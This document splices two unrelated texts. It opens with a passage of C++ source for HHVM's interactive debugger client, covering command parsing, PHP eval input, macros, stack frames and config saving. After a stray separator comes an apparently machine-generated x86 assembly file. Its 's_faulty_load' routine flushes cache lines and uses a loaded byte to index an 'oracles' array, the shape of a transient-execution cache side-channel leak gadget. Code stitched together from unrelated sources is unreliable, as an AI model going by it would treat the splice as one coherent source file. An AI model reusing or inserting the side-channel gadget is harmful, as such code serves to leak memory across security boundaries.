continue;
}
if (desc.empty()) {
sb.append(FormatTitle(cmd.data()));
sb.append("\n");
continue;
}
cmd = wordwrap(cmd, left, "\n", true);
desc = wordwrap(desc, right, "\n", true);
Array lines1 = StringUtil::Explode(cmd, "\n").toArray();
Array lines2 = StringUtil::Explode(desc, "\n").toArray();
for (int n = 0; n < lines1.size() || n < lines2.size(); n++) {
StringBuffer line;
line.append(" ");
if (n) line.append(" ");
line.append(StringUtil::Pad(lines1[n].toString(), leftMax));
if (n == 0) line.append(" ");
line.append(" ");
line.append(lines2[n].toString());
sb.append(HHVM_FN(rtrim)(line.detach()));
sb.append("\n");
}
}
help(sb.detach());
}
void DebuggerClient::helpBody(const std::string &s) {
TRACE(2, "DebuggerClient::helpBody\n");
help("%s", "");
help(wrap(s));
help("%s", "");
}
void DebuggerClient::helpSection(const std::string &s) {
TRACE(2, "DebuggerClient::helpSection\n");
help(wrap(s));
}
void DebuggerClient::tutorial(const char *text) {
TRACE(2, "DebuggerClient::tutorial\n");
if (m_tutorial < 0) return;
String ret = string_replace(String(text), "\t", " ");
ret = wordwrap(ret, LineWidth - 4, "\n", true);
Array lines = StringUtil::Explode(ret, "\n").toArray();
StringBuffer sb;
String header = " Tutorial - '[h]elp [t]utorial off|auto' to turn off ";
String hr = HHVM_FN(str_repeat)(BOX_H, LineWidth - 2);
sb.append(BOX_UL); sb.append(hr); sb.append(BOX_UR); sb.append("\n");
int wh = (LineWidth - 2 - header.size()) / 2;
sb.append(BOX_V);
sb.append(HHVM_FN(str_repeat)(" ", wh));
sb.append(header);
sb.append(HHVM_FN(str_repeat)(" ", wh));
sb.append(BOX_V);
sb.append("\n");
sb.append(BOX_VL); sb.append(hr); sb.append(BOX_VR); sb.append("\n");
for (ArrayIter iter(lines); iter; ++iter) {
sb.append(BOX_V); sb.append(' ');
sb.append(StringUtil::Pad(iter.second().toString(), LineWidth - 4));
sb.append(' '); sb.append(BOX_V); sb.append("\n");
}
sb.append(BOX_LL); sb.append(hr); sb.append(BOX_LR); sb.append("\n");
String content = sb.detach();
if (m_tutorial == 0) {
String hash = StringUtil::MD5(content);
if (m_tutorialVisited.find(hash.data()) != m_tutorialVisited.end()) {
return;
}
m_tutorialVisited.insert(hash.data());
saveConfig();
}
help(content);
}
void DebuggerClient::setTutorial(int mode) {
TRACE(2, "DebuggerClient::setTutorial\n");
if (m_tutorial != mode) {
m_tutorial = mode;
m_tutorialVisited.clear();
saveConfig();
}
}
///////////////////////////////////////////////////////////////////////////////
// command processing
const char **DebuggerClient::GetCommands() {
static const char *cmds[] = {
"abort", "break", "continue", "down", "exception",
"frame", "global", "help", "info",
"konstant", "list", "machine", "next", "out",
"print", "quit", "run", "step", "thread",
"up", "variable", "where", "x", "y",
"zend", "!", "&",
nullptr
};
return cmds;
}
void DebuggerClient::shiftCommand() {
TRACE(2, "DebuggerClient::shiftCommand\n");
if (m_command.size() > 1) {
m_args.insert(m_args.begin(), m_command.substr(1));
m_argIdx.insert(m_argIdx.begin(), 1);
m_command = m_command.substr(0, 1);
}
}
template<class T>
DebuggerCommandPtr DebuggerClient::new_cmd(const char* name) {
m_commandCanonical = name;
return std::make_shared<T>();
}
template<class T>
DebuggerCommandPtr DebuggerClient::match_cmd(const char* name) {
return match(name) ? new_cmd<T>(name) : nullptr;
}
DebuggerCommandPtr DebuggerClient::createCommand() {
TRACE(2, "DebuggerClient::createCommand\n");
// give gdb users some love
if (m_command == "bt") return new_cmd<CmdWhere>("where");
if (m_command == "set") return new_cmd<CmdConfig>("config");
if (m_command == "complete") return new_cmd<CmdComplete>("complete");
// Internal testing
if (m_command == "internaltesting") {
return new_cmd<CmdInternalTesting>("internaltesting");
}
switch (tolower(m_command[0])) {
case 'a': return match_cmd<CmdAbort>("abort");
case 'b': return match_cmd<CmdBreak>("break");
case 'c': return match_cmd<CmdContinue>("continue");
case 'd': return match_cmd<CmdDown>("down");
case 'e': return match_cmd<CmdException>("exception");
case 'f': return match_cmd<CmdFrame>("frame");
case 'g': return match_cmd<CmdGlobal>("global");
case 'h': return match_cmd<CmdHelp>("help");
case 'i': return match_cmd<CmdInfo>("info");
case 'k': return match_cmd<CmdConstant>("konstant");
case 'l': return match_cmd<CmdList>("list");
case 'm': return match_cmd<CmdMachine>("machine");
case 'n': return match_cmd<CmdNext>("next");
case 'o': return match_cmd<CmdOut>("out");
case 'p': return match_cmd<CmdPrint>("print");
case 'q': return match_cmd<CmdQuit>("quit");
case 'r': return match_cmd<CmdRun>("run");
case 's': return match_cmd<CmdStep>("step");
case 't': return match_cmd<CmdThread>("thread");
case 'u': return match_cmd<CmdUp>("up");
case 'v': return match_cmd<CmdVariable>("variable");
case 'w': return match_cmd<CmdWhere>("where");
// these single lettter commands allow "x{cmd}" and "x {cmd}"
case 'x': shiftCommand(); return new_cmd<CmdExtended>("extended");
case '!': shiftCommand(); return new_cmd<CmdShell>("shell");
case '&': shiftCommand(); return new_cmd<CmdMacro>("macro");
}
return nullptr;
}
// Parses the current command string. If invalid return false.
// Otherwise, carry out the command and return true.
// NB: the command may throw a variety of exceptions derived from
// DebuggerClientException.
bool DebuggerClient::process() {
TRACE(2, "DebuggerClient::process\n");
clearCachedLocal();
// assume it is a known command.
m_unknownCmd = false;
switch (tolower(m_command[0])) {
case '@':
case '=':
case '$': {
processTakeCode();
return true;
}
case '<': {
if (match("<?php")) {
processTakeCode();
return true;
}
}
case '?': {
if (match("?")) {
usageLogCommand("help", m_line);
CmdHelp().onClient(*this);
return true;
}
if (match("?>")) {
processEval();
return true;
}
break;
}
default: {
auto cmd = createCommand();
if (cmd) {
usageLogCommand(m_commandCanonical, m_line);
if (cmd->is(DebuggerCommand::KindOfRun)) playMacro("startup");
cmd->onClient(*this);
} else {
m_unknownCmd = true;
processTakeCode();
}
return true;
}
}
return false;
}
///////////////////////////////////////////////////////////////////////////////
// helpers
void DebuggerClient::addToken(std::string &token, int idx) {
TRACE(2, "DebuggerClient::addToken\n");
m_argIdx.push_back(idx);
if (m_command.empty()) {
m_command = token;
} else {
m_args.push_back(token);
}
token.clear();
}
void DebuggerClient::parseCommand(const char *line) {
TRACE(2, "DebuggerClient::parseCommand\n");
m_command.clear();
m_args.clear();
char quote = 0;
std::string token;
m_argIdx.clear();
int i = 0;
for (i = 0; line[i]; i++) {
char ch = line[i];
char next = line[i+1];
switch (ch) {
case ' ':
if (!quote) {
if (!token.empty()) {
addToken(token, i);
}
} else {
token += ch;
}
break;
case '"':
case '\'':
if (quote == 0) {
quote = ch;
token += ch;
break;
}
if (quote == ch && (next == ' ' || next == 0)) {
token += ch;
addToken(token, i);
quote = 0;
break;
}
token += ch;
break;
case '\\':
if ((next == ' ' || next == '"' || next == '\'' || next == '\\')) {
if (quote == '\'') {
token += ch;
}
i++;
token += next;
break;
}
// fall through
default:
token += ch;
break;
}
}
if (!token.empty()) {
addToken(token, i);
}
}
bool DebuggerClient::parse(const char *line) {
TRACE(2, "DebuggerClient::parse\n");
if (m_inputState != TakingCode) {
while (isspace(*line)) line++;
}
m_line = line;
if (m_inputState == TakingCommand) {
parseCommand(line);
return true;
}
if (m_inputState == TakingCode) {
int pos = checkEvalEnd();
if (pos >= 0) {
if (pos > 0) {
m_code += m_line.substr(0, pos);
}
processEval();
} else {
if (!strncasecmp(m_line.c_str(), "abort", m_line.size())) {
m_code.clear();
m_inputState = TakingCommand;
return false;
}
m_code += m_line + "\n";
}
}
return false;
}
bool DebuggerClient::match(const char *cmd) {
TRACE(2, "DebuggerClient::match\n");
assertx(cmd && *cmd);
return !strncasecmp(m_command.c_str(), cmd, m_command.size());
}
bool DebuggerClient::Match(const char *input, const char *cmd) {
TRACE(2, "DebuggerClient::Match\n");
return !strncasecmp(input, cmd, strlen(input));
}
bool DebuggerClient::arg(int index, const char *s) const {
TRACE(2, "DebuggerClient::arg\n");
assertx(s && *s);
assertx(index > 0);
--index;
return (int)m_args.size() > index &&
!strncasecmp(m_args[index].c_str(), s, m_args[index].size());
}
std::string DebuggerClient::argValue(int index) {
TRACE(2, "DebuggerClient::argValue\n");
assertx(index > 0);
--index;
if (index >= 0 && index < (int)m_args.size()) {
return m_args[index];
}
return "";
}
std::string DebuggerClient::lineRest(int index) {
TRACE(2, "DebuggerClient::lineRest\n");
assertx(index > 0);
return m_line.substr(m_argIdx[index - 1] + 1);
}
///////////////////////////////////////////////////////////////////////////////
// comunication with DebuggerProxy
DebuggerCommandPtr DebuggerClient::xend(DebuggerCommand *cmd,
EventLoopKind loopKind) {
TRACE(2, "DebuggerClient::xend\n");
sendToServer(cmd);
return eventLoop(loopKind, cmd->getType(), "Receive for command");
}
void DebuggerClient::sendToServer(DebuggerCommand *cmd) {
TRACE(2, "DebuggerClient::sendToServer\n");
if (!cmd->send(m_machine->m_thrift)) {
Logger::Error("Send command: unable to communicate with server.");
throw DebuggerProtocolException();
}
}
///////////////////////////////////////////////////////////////////////////////
// helpers
int DebuggerClient::checkEvalEnd() {
TRACE(2, "DebuggerClient::checkEvalEnd\n");
size_t pos = m_line.rfind("?>");
if (pos == std::string::npos) {
return -1;
}
for (size_t p = pos + 2; p < m_line.size(); p++) {
if (!isspace(m_line[p])) {
return -1;
}
}
return pos;
}
const StaticString s_UNDERSCORE("_");
// Parses the current command line as a code execution command
// and carries out the command.
void DebuggerClient::processTakeCode() {
TRACE(2, "DebuggerClient::processTakeCode\n");
assertx(m_inputState == TakingCommand);
char first = m_line[0];
if (first == '@') {
usageLogCommand("@", m_line);
m_code = std::string("<?php ") + (m_line.c_str() + 1) + ";";
processEval();
return;
} else if (first == '=') {
usageLogCommand("=", m_line);
while (m_line.at(m_line.size() - 1) == ';') {
// strip the trailing ;
m_line = m_line.substr(0, m_line.size() - 1);
}
m_code = std::string("<?php $_=(") + m_line.substr(1) + "); ";
if (processEval()) CmdVariable::PrintVariable(*this, s_UNDERSCORE);
return;
} else if (first != '<') {
usageLogCommand("eval", m_line);
// User entered something that did not start with @, =, or <
// and also was not a debugger command. Interpret it as PHP.
m_code = "<?php ";
m_code += m_line + ";";
processEval();
return;
}
usageLogCommand("<?php", m_line);
m_code = "<?php ";
m_code += m_line.substr(m_command.length()) + "\n";
m_inputState = TakingCode;
int pos = checkEvalEnd();
if (pos >= 0) {
m_code.resize(m_code.size() - m_line.size() + pos - 1);
processEval();
}
}
bool DebuggerClient::processEval() {
TRACE(2, "DebuggerClient::processEval\n");
m_inputState = TakingCommand;
m_acLiveListsDirty = true;
CmdEval eval;
eval.onClient(*this);
return !eval.failed();
}
void DebuggerClient::swapHelp() {
TRACE(2, "DebuggerClient::swapHelp\n");
assertx(m_args.size() > 0);
m_command = m_args[0];
m_args[0] = "help";
}
void DebuggerClient::quit() {
TRACE(2, "DebuggerClient::quit\n");
closeAllConnections();
throw DebuggerClientExitException();
}
DSandboxInfoPtr DebuggerClient::getSandbox(int index) const {
TRACE(2, "DebuggerClient::getSandbox\n");
if (index > 0) {
--index;
if (index >= 0 && index < (int)m_sandboxes.size()) {
return m_sandboxes[index];
}
}
return DSandboxInfoPtr();
}
// Update the current sandbox in the current machine. This should always be
// called once we're attached to a machine.
void DebuggerClient::setSandbox(DSandboxInfoPtr sandbox) {
assertx(m_machine != nullptr);
m_machine->m_sandbox = sandbox;
}
// Return the ID of the current sandbox, if there is one. If we're connected to
// a machine that is attached to a sandbox, then we'll have an ID.
std::string DebuggerClient::getSandboxId() {
if ((m_machine != nullptr) && m_machine->m_sandboxAttached &&
(m_machine->m_sandbox != nullptr)) {
return m_machine->m_sandbox->id();
}
return "None";
}
void DebuggerClient::updateThreads(std::vector<DThreadInfoPtr> threads) {
TRACE(2, "DebuggerClient::updateThreads\n");
m_threads = threads;
for (unsigned int i = 0; i < m_threads.size(); i++) {
DThreadInfoPtr thread = m_threads[i];
std::map<int64_t, int>::const_iterator iter =
m_threadIdMap.find(thread->m_id);
if (iter != m_threadIdMap.end()) {
m_threads[i]->m_index = iter->second;
} else {
int index = m_threadIdMap.size() + 1;
m_threadIdMap[thread->m_id] = index;
m_threads[i]->m_index = index;
}
}
}
DThreadInfoPtr DebuggerClient::getThread(int index) const {
TRACE(2, "DebuggerClient::getThread\n");
for (unsigned int i = 0; i < m_threads.size(); i++) {
if (m_threads[i]->m_index == index) {
return m_threads[i];
}
}
return DThreadInfoPtr();
}
// Retrieves the current source location (file, line).
// The current location is initially determined by the
// breakpoint where the debugger is currently stopped and can
// thereafter be modified by list commands and by switching the
// the stack frame. The lineFocus and charFocus parameters
// are non zero only when the source location comes from a breakpoint.
// They can be used to highlight the location of the current breakpoint
// in the edit window of an attached IDE, for example.
void DebuggerClient::getListLocation(std::string &file, int &line,
int &lineFocus0, int &charFocus0,
int &lineFocus1, int &charFocus1) {
TRACE(2, "DebuggerClient::getListLocation\n");
lineFocus0 = charFocus0 = lineFocus1 = charFocus1 = 0;
if (m_listFile.empty() && m_breakpoint) {
setListLocation(m_breakpoint->m_file, m_breakpoint->m_line1, true);
lineFocus0 = m_breakpoint->m_line1;
charFocus0 = m_breakpoint->m_char1;
lineFocus1 = m_breakpoint->m_line2;
charFocus1 = m_breakpoint->m_char2;
} else if (m_listLineFocus) {
lineFocus0 = m_listLineFocus;
}
file = m_listFile;
line = m_listLine;
}
void DebuggerClient::setListLocation(const std::string &file, int line,
bool center) {
TRACE(2, "DebuggerClient::setListLocation\n");
m_listFile = file;
if (!m_listFile.empty() && m_listFile[0] != '/' && !m_sourceRoot.empty()) {
if (m_sourceRoot[m_sourceRoot.size() - 1] != '/') {
m_sourceRoot += "/";
}
m_listFile = m_sourceRoot + m_listFile;
}
m_listLine = line;
if (center && m_listLine) {
m_listLineFocus = m_listLine;
m_listLine -= CodeBlockSize / 2;
if (m_listLine < 0) {
m_listLine = 0;
}
}
}
void DebuggerClient::setSourceRoot(const std::string &sourceRoot) {
TRACE(2, "DebuggerClient::setSourceRoot\n");
m_sourceRoot = sourceRoot;
saveConfig();
// apply change right away
setListLocation(m_listFile, m_listLine, true);
}
void DebuggerClient::setMatchedBreakPoints(
std::vector<BreakPointInfoPtr> breakpoints) {
TRACE(2, "DebuggerClient::setMatchedBreakPoints\n");
m_matched = std::move(breakpoints);
}
void DebuggerClient::setCurrentLocation(int64_t threadId,
BreakPointInfoPtr breakpoint) {
TRACE(2, "DebuggerClient::setCurrentLocation\n");
m_threadId = threadId;
m_breakpoint = breakpoint;
m_stacktrace.reset();
m_listFile.clear();
m_listLine = 0;
m_listLineFocus = 0;
m_acLiveListsDirty = true;
}
void DebuggerClient::addWatch(const char *fmt, const std::string &php) {
TRACE(2, "DebuggerClient::addWatch\n");
WatchPtr watch(new Watch());
watch->first = fmt;
watch->second = php;
m_watches.push_back(watch);
}
void DebuggerClient::setStackTrace(const Array& stacktrace) {
TRACE(2, "DebuggerClient::setStackTrace\n");
m_stacktrace = stacktrace;
}
void DebuggerClient::moveToFrame(int index, bool display /* = true */) {
TRACE(2, "DebuggerClient::moveToFrame\n");
m_frame = index;
if (m_frame >= m_stacktrace.size()) {
m_frame = m_stacktrace.size() - 1;
}
if (m_frame < 0) {
m_frame = 0;
}
const Array& frame = m_stacktrace[m_frame].toArray();
if (!frame.isNull()) {
String file = frame[s_file].toString();
int line = frame[s_line].toInt32();
if (!file.empty() && line) {
if (m_frame == 0) {
m_listFile.clear();
m_listLine = 0;
m_listLineFocus = 0;
} else {
setListLocation(file.data(), line, true);
}
}
if (display) {
printFrame(m_frame, frame);
}
}
}
const StaticString
s_args("args"),
s_namespace("namespace"),
s_class("class"),
s_function("function"),
s_id("id"),
s_ancestors("ancestors");
void DebuggerClient::printFrame(int index, const Array& frame) {
TRACE(2, "DebuggerClient::printFrame\n");
StringBuffer args;
for (ArrayIter iter(frame[s_args].toArray()); iter; ++iter) {
if (!args.empty()) args.append(", ");
args.append(FormatVariableWithLimit(iter.second(), 80));
}
StringBuffer func;
if (frame.exists(s_namespace)) {
func.append(frame[s_namespace].toString());
func.append("::");
}
if (frame.exists(s_class)) {
func.append(frame[s_class].toString());
func.append("::");
}
func.append(frame[s_function].toString());
String sindex(index);
print("#%s %s (%s)",
sindex.data(),
func.data() ? func.data() : "",
args.data() ? args.data() : "");
if (!frame[s_file].isNull()) {
int line = (int)frame[s_line].toInt32();
auto fileLineInfo =
folly::stringPrintf(" %s at %s",
String(" ").substr(0, sindex.size()).data(),
frame[s_file].toString().data());
if (line > 0) {
fileLineInfo += folly::stringPrintf(":%d", line);
} else {
fileLineInfo += ":unknown line";
}
print(fileLineInfo);
}
}
void DebuggerClient::startMacro(std::string name) {
TRACE(2, "DebuggerClient::startMacro\n");
if (m_macroRecording &&
ask("We are recording a macro. Do you want to save? [Y/n]") != 'n') {
endMacro();
}
if (name.empty()) {
name = "default";
} else {
for (unsigned int i = 0; i < m_macros.size(); i++) {
if (m_macros[i]->m_name == name) {
if (ask("This will overwrite existing one. Proceed? [y/N]") != 'y') {
return;
}
}
break;
}
}
m_macroRecording = std::make_shared<Macro>();
m_macroRecording->m_name = name;
}
void DebuggerClient::endMacro() {
TRACE(2, "DebuggerClient::endMacro\n");
if (!m_macroRecording) {
error("There is no ongoing recording.");
tutorial("Use '& [s]tart {name}' or '& [s]tart' command to start "
"macro recording first.");
return;
}
bool found = false;
for (unsigned int i = 0; i < m_macros.size(); i++) {
if (m_macros[i]->m_name == m_macroRecording->m_name) {
m_macros[i] = m_macroRecording;
found = true;
break;
}
}
if (!found) {
m_macros.push_back(m_macroRecording);
}
saveConfig();
m_macroRecording.reset();
}
bool DebuggerClient::playMacro(std::string name) {
TRACE(2, "DebuggerClient::playMacro\n");
if (name.empty()) {
name = "default";
}
for (unsigned int i = 0; i < m_macros.size(); i++) {
if (m_macros[i]->m_name == name) {
m_macroPlaying = m_macros[i];
m_macroPlaying->m_index = 0;
return true;
}
}
return false;
}
bool DebuggerClient::deleteMacro(int index) {
TRACE(2, "DebuggerClient::deleteMacro\n");
--index;
if (index >= 0 && index < (int)m_macros.size()) {
if (ask("Are you sure you want to delete the macro? [y/N]") != 'y') {
return true;
}
m_macros.erase(m_macros.begin() + index);
saveConfig();
return true;
}
return false;
}
void DebuggerClient::record(const char *line) {
TRACE(2, "DebuggerClient::record\n");
assertx(line);
if (m_macroRecording && line[0] != '&') {
m_macroRecording->m_cmds.push_back(line);
}
}
///////////////////////////////////////////////////////////////////////////////
// helpers for usage logging
// Log the execution of a command.
void DebuggerClient::usageLogCommand(const std::string &cmd,
const std::string &data) {
Debugger::UsageLog("terminal", getSandboxId(), cmd, data);
}
// Log random, interesting events in the client.
void DebuggerClient::usageLogEvent(const std::string &eventName,
const std::string &data) {
Debugger::UsageLog("terminal", getSandboxId(),
"ClientEvent: " + eventName, data);
}
///////////////////////////////////////////////////////////////////////////////
// configuration
void DebuggerClient::loadConfig() {
TRACE(2, "DebuggerClient::loadConfig\n");
bool usedHomeDirConfig = false;
if (m_configFileName.empty()) {
m_configFileName = Process::GetHomeDirectory() + ConfigFileName;
usedHomeDirConfig = true;
}
// make sure file exists
FILE *f = fopen(m_configFileName.c_str(), "r");
bool needToWriteFile = f == nullptr;
if (needToWriteFile) f = fopen(m_configFileName.c_str(), "a");
if (f) {
fclose(f);
} else {
m_configFileName.clear();
return;
}
Hdf config;
IniSettingMap ini = IniSetting::Map::object;
try {
if (usedHomeDirConfig) {
config.open(Process::GetHomeDirectory() + LegacyConfigFileName);
needToWriteFile = true;
}
} catch (const HdfException &e) {
// Good, they have migrated already
}
#define BIND(name, ...) \
IniSetting::Bind(&s_debugger_extension, IniSetting::PHP_INI_SYSTEM, \
"hhvm." #name, __VA_ARGS__)
m_neverSaveConfigOverride = true; // Prevent saving config while reading it
// These are system settings, but can be loaded after the core runtime
// options are loaded. So allow it.
IniSetting::s_system_settings_are_set = false;
Config::Bind(s_use_utf8, ini, config, "UTF8", true);
config["UTF8"] = s_use_utf8; // for starter
BIND(utf8, &s_use_utf8);
Config::Bind(UseColor, ini, config, "Color", true);
BIND(color, &UseColor);
if (UseColor && RuntimeOption::EnableDebuggerColor) {
LoadColors(ini, config);
}
Config::Bind(m_tutorial, ini, config, "Tutorial", 0);
BIND(tutorial, &m_tutorial);
Config::Bind(m_scriptMode, ini, config, "ScriptMode");
BIND(script_mode, &m_scriptMode);
Config::Bind(m_neverSaveConfig, ini, config, "NeverSaveConfig", false);
BIND(never_save_config, &m_neverSaveConfig);
setDebuggerClientSmallStep(Config::GetBool(ini, config, "SmallStep"));
BIND(small_step, IniSetting::SetAndGet<bool>(
[this](const bool& v) {
setDebuggerClientSmallStep(v);
return true;
},
[this]() { return getDebuggerClientSmallStep(); }
));
setDebuggerClientMaxCodeLines(Config::GetInt16(ini, config, "MaxCodeLines",
-1));
BIND(max_code_lines, IniSetting::SetAndGet<short>(
[this](const short& v) {
setDebuggerClientMaxCodeLines(v);
return true;
},
[this]() { return getDebuggerClientMaxCodeLines(); }
));
setDebuggerClientBypassCheck(Config::GetBool(ini, config,
"BypassAccessCheck"));
BIND(bypass_access_check, IniSetting::SetAndGet<bool>(
[this](const bool& v) { setDebuggerClientBypassCheck(v); return true; },
[this]() { return getDebuggerClientBypassCheck(); }
));
int printLevel = Config::GetInt16(ini, config, "PrintLevel", 5);
if (printLevel > 0 && printLevel < MinPrintLevel) {
printLevel = MinPrintLevel;
}
setDebuggerClientPrintLevel(printLevel);
// For some reason gcc won't capture MinPrintLevel without this
auto const min = MinPrintLevel;
BIND(print_level, IniSetting::SetAndGet<short>(
[this, min](const short &printLevel) {
if (printLevel > 0 && printLevel < min) {
setDebuggerClientPrintLevel(min);
} else {
setDebuggerClientPrintLevel(printLevel);
}
return true;
},
[this]() { return getDebuggerClientPrintLevel(); }
));
setDebuggerClientStackArgs(Config::GetBool(ini, config, "StackArgs", true));
BIND(stack_args, IniSetting::SetAndGet<bool>(
[this](const bool& v) { setDebuggerClientStackArgs(v); return true; },
[this]() { return getDebuggerClientStackArgs(); }
));
setDebuggerClientShortPrintCharCount(
Config::GetInt16(ini, config, "ShortPrintCharCount", 200));
BIND(short_print_char_count, IniSetting::SetAndGet<short>(
[this](const short& v) {
setDebuggerClientShortPrintCharCount(v); return true;
},
[this]() { return getDebuggerClientShortPrintCharCount(); }
));
Config::Bind(m_tutorialVisited, ini, config, "Tutorial.Visited");
BIND(tutorial.visited, &m_tutorialVisited);
auto macros_callback = [&](const IniSetting::Map& ini_m, const Hdf& hdf_m,
const std::string& /*ini_m_key*/) {
auto macro = std::make_shared<Macro>();
macro->load(ini_m, hdf_m);
m_macros.push_back(macro);
};
Config::Iterate(macros_callback, ini, config, "Macros");
BIND(macros, IniSetting::SetAndGet<Array>(
[this](const Array& val) {
for (ArrayIter iter(val); iter; ++iter) {
auto macro = std::make_shared<Macro>();
auto macroArr = iter.second().asCArrRef();
macro->m_name = macroArr[s_name].asCStrRef().toCppString();
for (ArrayIter cmditer(macroArr[s_cmds]); cmditer; ++cmditer) {
macro->m_cmds.push_back(cmditer.second().asCStrRef().toCppString());
}
m_macros.push_back(macro);
}
return true;
},
[this]() {
ArrayInit ret(m_macros.size(), ArrayInit::Map{});
for (auto& macro : m_macros) {
ArrayInit ret_macro(2, ArrayInit::Map{});
ret_macro.set(s_name, macro->m_name);
PackedArrayInit ret_cmds(macro->m_cmds.size());
for (auto& cmd : macro->m_cmds) {
ret_cmds.append(cmd);
}
ret_macro.set(s_cmds, ret_cmds.toArray());
ret.append(ret_macro.toArray());
}
return ret.toArray();
}
));
Config::Bind(m_sourceRoot, ini, config, "SourceRoot");
BIND(source_root, &m_sourceRoot);
// We are guaranteed to have an ini file given how m_configFileName is set
// above
Config::ParseIniFile(m_configFileName);
// Do this after the ini processing so we don't accidentally save the config
// when we change one of the options
m_neverSaveConfigOverride = false;
IniSetting::s_system_settings_are_set = true; // We are set again
if (needToWriteFile && !m_neverSaveConfig) {
saveConfig(); // so to generate a starter for people
}
#undef BIND
}
void DebuggerClient::saveConfig() {
TRACE(2, "DebuggerClient::saveConfig\n");
if (m_neverSaveConfig || m_neverSaveConfigOverride) return;
if (m_configFileName.empty()) {
// we are not touching a file that was not successfully loaded earlier
return;
}
std::ofstream stream(m_configFileName);
stream << "hhvm.utf8 = " << s_use_utf8 << std::endl;
stream << "hhvm.color = " << UseColor << std::endl;
stream << "hhvm.source_root = " << m_sourceRoot << std::endl;
stream << "hhvm.never_save_config = " << m_neverSaveConfig << std::endl;
stream << "hhvm.tutorial = " << m_tutorial << std::endl;
unsigned int i = 0;
for (auto const& str : m_tutorialVisited) {
stream << "hhvm.tutorial.visited[" << i++ << "] = " << str << std::endl;
}
for (i = 0; i < m_macros.size(); i++) {
m_macros[i]->save(stream, i);
}
std::vector<std::string> names;
get_supported_colors(names);
for (i = 0; i < names.size(); i++) {
stream << "hhvm.color.supported_names[" << i+1 << "] = " << names[i]
<< std::endl;
}
// TODO if you are clever you can make the macro do these
stream << "hhvm.bypass_access_check = " << getDebuggerClientBypassCheck()
<< std::endl;
stream << "hhvm.print_level = " << getDebuggerClientPrintLevel()
<< std::endl;
stream << "hhvm.stack_args = " << getDebuggerClientStackArgs()
<< std::endl;
stream << "hhvm.max_code_lines = " << getDebuggerClientMaxCodeLines()
<< std::endl;
stream << "hhvm.small_step = " << getDebuggerClientSmallStep()
<< std::endl;
stream << "hhvm.short_print_char_count = "
<< getDebuggerClientShortPrintCharCount() << std::endl;
auto legacy = Process::GetHomeDirectory() + LegacyConfigFileName;
::unlink(legacy.c_str());
}
///////////////////////////////////////////////////////////////////////////////
}}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x3804, %rcx
clflush (%rcx)
nop
nop
nop
cmp %rbx, %rbx
mov (%rcx), %r12
nop
nop
nop
nop
nop
and %r10, %r10
lea addresses_A_ht+0xebe8, %rsi
nop
nop
nop
nop
and $15829, %rdx
mov $0x6162636465666768, %r14
movq %r14, (%rsi)
nop
nop
nop
nop
nop
add $37324, %rdx
lea addresses_WC_ht+0x1eab4, %rcx
inc %rsi
mov $0x6162636465666768, %r12
movq %r12, %xmm6
movups %xmm6, (%rcx)
add %rcx, %rcx
lea addresses_WT_ht+0x1d034, %rcx
nop
nop
inc %rbx
mov (%rcx), %rsi
nop
nop
inc %r10
lea addresses_normal_ht+0x2634, %rsi
nop
nop
sub %rbx, %rbx
vmovups (%rsi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
and %r14, %r14
lea addresses_normal_ht+0x3428, %r10
nop
nop
nop
cmp %rsi, %rsi
vmovups (%r10), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rdx
nop
nop
nop
nop
nop
add $13039, %rsi
lea addresses_WT_ht+0xf834, %rsi
lea addresses_D_ht+0x5534, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
add $30927, %rbx
mov $49, %rcx
rep movsq
lfence
lea addresses_A_ht+0x1dc34, %r14
nop
nop
nop
nop
nop
xor %r10, %r10
movw $0x6162, (%r14)
nop
xor %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_normal+0x9770, %r10
clflush (%r10)
nop
nop
dec %rdi
movl $0x51525354, (%r10)
nop
nop
nop
and %rdx, %rdx
// Faulty Load
lea addresses_PSE+0x17c34, %rdx
sub %rsi, %rsi
mov (%rdx), %di
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}}
{'33': 21829}
